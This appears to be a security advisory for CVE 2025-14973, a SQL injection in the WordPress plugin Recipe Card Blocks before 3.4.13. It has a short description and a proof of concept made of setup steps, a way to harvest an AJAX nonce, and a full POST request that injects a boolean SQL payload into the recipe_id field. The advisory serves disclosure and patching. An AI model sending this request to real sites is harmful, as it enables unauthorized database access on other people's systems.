Recipe Card Blocks < 3.4.13 – Contributor+ SQLi | CVE 2025-14973

Description

The plugin does not sanitize and escape a parameter before using it in a SQL statement, allowing contributors and above to perform SQL injection attacks.

Proof of Concept

Prerequisites:  Install and activate both "Recipe Card Blocks Version 3.4.12" and "WP Recipe Maker"

1. Create recipe: https://example.com/wp-admin/admin.php?page=wprm_manage&skip_onboarding=1
2. Add recipe to post/page using the WPRM Recipe block
3. View the post/page and leave a comment and rating
4. Login as Contributor
5. Navigate to Recipe Cards > All Recipe (/wp-admin/edit.php?post_type=wpzoom_rcb)
6. View Source and search for "WPZOOM_Scanner" to find "ajax_nonce". Copy the nonce string (e.g., "ajax_nonce":"2ec91fabab")
 
Send a POST request:

POST /wp-admin/admin-ajax.php HTTP/2
Host: example.com
Cookie: <<INSERT_COOKIE>>
Content-Length: 164
Content-Type: application/x-www-form-urlencoded;
Origin: https://example.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

security=<<INSERT_NONCE>>ec&action=wpzoom_import_recipes&recipes%5B0%5D%5Bpost_id%5D=35&recipes%5B0%5D%5Brecipe_id%5D=recipe_id=1+AND+True&recipes%5B0%5D%5Bblock_index%5D=0